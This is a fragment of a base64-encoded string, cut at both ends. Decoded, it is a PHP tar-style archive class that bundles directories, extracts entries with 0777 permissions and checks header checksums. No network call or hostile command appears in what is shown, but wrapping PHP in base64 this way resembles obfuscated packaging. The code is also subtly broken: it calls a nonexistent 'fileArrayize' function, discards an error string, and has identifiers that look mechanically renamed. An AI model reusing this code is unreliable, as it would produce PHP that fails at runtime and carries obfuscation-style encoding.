hbWUpOw0KCSAgICAgCSAgICAgCSAgICAgaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICghKCRoYW5kbGUgPSBvcGVuZGlyKCRmaWxlbmFtZSkpKXsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpKXsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkZGlyIT0nLicgJiYgJGRpciE9Jy4uJyl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlX2FycmF5X3RtcCA9IGFycmF5KCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkZmlsZW5hbWUgIT0gJy4nKQ0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGZpbGVfYXJyYXlfdG1wW10gPSAkZmlsZW5hbWUuJy8nLiRkaXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGZpbGVfYXJyYXlfdG1wW10gPSAkZGlyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJlc3VsdCA9ICR0aGlzLT5jb21wcmVzc0ZpbGVzSW50b0J1bmRsZSgkZmlsZV9hcnJheV90bXApOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRmaWxlX2FycmF5X3RtcCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRkaXIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdW5zZXQoJGhhbmRsZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICByZXR1cm4gJHJlc3VsdDsNCgkgICAgIH0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZ1bmN0aW9uIHVuY29tcHJlc3NGaWxlc0ludG9CdW5kbGUoJHBhdGgpeyANCg0KCSAgICAgCSAgICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsNCgkgICAgIAkgICAgIGlmICgkcGF0aCA9PSAnJwkgICAgIHx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyAmJiBzdWJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLi8nICYmICFzdHJwb3MoJHBhdGgsICc6JykpKQkgICAgICRwYXRoID0gJy4vJy4kcGF0aDsNCg0KCSAgICAgCSAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCg0KCSAgICAgCSAgICAgd2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpKSAhPSAwKXsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+cmV0cmlldmVGaWxlSGVhZGVyKCRiaW5hcnlEYXRhLCAkaGVhZGVyKSkgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICBpZiAoJGhlYWRlclsnZmlsZW5hbWUnXSA9PSAnJykgY29udGludWU7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICdMJyl7CSAgICAgCSAgICAgCSAgICAgLy9yZWFkaW5nIGxvbmcgaGVhZGVyDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlbmFtZSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoJGxhc3BpZWNlID0gJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRiaW5hcnlEYXRhID0gJHRoaXMtPnJldHJpZXZlRGF0YUJsb2NrKCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICghJHRoaXMtPnJldHJpZXZlRmlsZUhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICBpZiAoKCRwYXRoICE9ICcuLycpICYmICgkcGF0aCAhPSAnLycpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7DQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcvJykgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPV9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpLl9fKCcgYXMgZm9sZGVyJyk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoaXNfZmlsZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID1fXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nLiAnLl9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFpc193cml0ZWFibGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZWlmICgoJHRoaXMtPmRpckNoZWNrKCgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JyA/ICRoZWFkZXJbJ2ZpbGVuYW1lJ10gOiBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSkpICE9IDEpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICBpZiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoIWZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKQkgICAgIAkgICAgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFta2RpcigkaGVhZGVyWydmaWxlbmFtZSddLCAwNzc3KSkJICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCgkZGVzdGluYXRpb24gPSBmb3BlbigkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKSkgPT0gMCkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsIDUxMik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCgkaGVhZGVyWydzaXplJ10gJSA1MTIpICE9IDApIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsICgkaGVhZGVyWydzaXplJ10gJSA1MTIpKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZmNsb3NlKCRkZXN0aW5hdGlvbik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHRvdWNoKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ3RpbWUnXSk7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoZmlsZUFycmF5aXplKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pICE9ICRoZWFkZXJbJ3NpemUnXSkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdTaXplIG9mIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXS4nICcuX18oJ2lzIGluY29ycmVjdCcpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmICgoJGZpbGVfZGlyID0gZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgPT0gJGhlYWRlclsnZmlsZW5hbWUnXSkgJGZpbGVfZGlyID0gJyc7DQoJICAgICAJICAgICAJICAgICBpZiAoKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICYmICgkZmlsZV9kaXIgPT0gJycpKSAkZmlsZV9kaXIgPSAnLyc7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5kaXJzW10gPSAkZmlsZV9kaXI7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5maWxlQXJyYXlbXSA9ICRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCg0KCSAgICAgZnVuY3Rpb24gZGlyQ2hlY2soJGRpcil7DQoNCgkgICAgIAkgICAgICRwYXJlbnRfZGlyID0gZGlybmFtZSgkZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIGlmICgoQGlzX2RpcigkZGlyKSkgb3IgKCRkaXIgPT0gJycpKQ0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICgoJHBhcmVudF9kaXIgIT0gJGRpcikgYW5kICgkcGFyZW50X2RpciAhPSAnJykgYW5kICghJHRoaXMtPmRpckNoZWNrKCRwYXJlbnRfZGlyKSkpDQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKCFta2RpcigkZGlyLCAwNzc3KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGRpcjsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCg0KCSAgICAgfQ0KDQoNCg0KCSAgICAgZnVuY3Rpb24gcmV0cmlldmVGaWxlSGVhZGVyKCRiaW5hcnlEYXRhLCAmJGhlYWRlcil7DQoJICAgICAJICAgICBpZiAoc3RybGVuKCRiaW5hcnlEYXRhKT09MCl7DQoJICAgICAJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7DQoJICAgICAJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIGlmIChzdHJsZW4oJGJpbmFyeURhdGEpICE9IDUxMil7DQoNCgkgICAgIAkgICAgIAkgICAgICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7DQoJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIH0NCg0KDQoNCgkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoID0gMDsNCg0KCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCArPSBvcmQoJyAnKTsNCg0KCSAgICAgCSAgICAgZm9yICgkaSA9IDE1NjsgJGkgPCA1MTI7ICRpKyspICRpbnRlZ3JpdHlIYXNoKz1vcmQoc3Vic3RyKCRiaW5hcnlEYXRhLCAkaSwgMSkpOw0KDQoNCg0KCSAgICAgCSAgICAgJHVucGFja19kYXRhID0gdW5wYWNrKCdhMTAwZmlsZW5hbWUvYThtb2RlL2E4YWNjb3VudElkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4aW50ZWdyaXR5SGFzaC9hMXR5cGVmbGFnL2ExMDBsaW5rL2E2bWFnaWMvYTJ2ZXJzaW9uL2EzMnVuYW1lL2EzMmduYW1lL2E4ZGV2bWFqb3IvYThkZXZtaW5vcicsICRiaW5hcnlEYXRhKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydpbnRlZ3JpdHlIYXNoJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2ludGVncml0eUhhc2gnXSkpOw0KCSAgICAgCSAgICAgaWYgKCRoZWFkZXJbJ2ludGVncml0eUhhc2gnXSAhPSAkaW50ZWdyaXR5SGFzaCl7DQoJICAgICAJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgoJGludGVn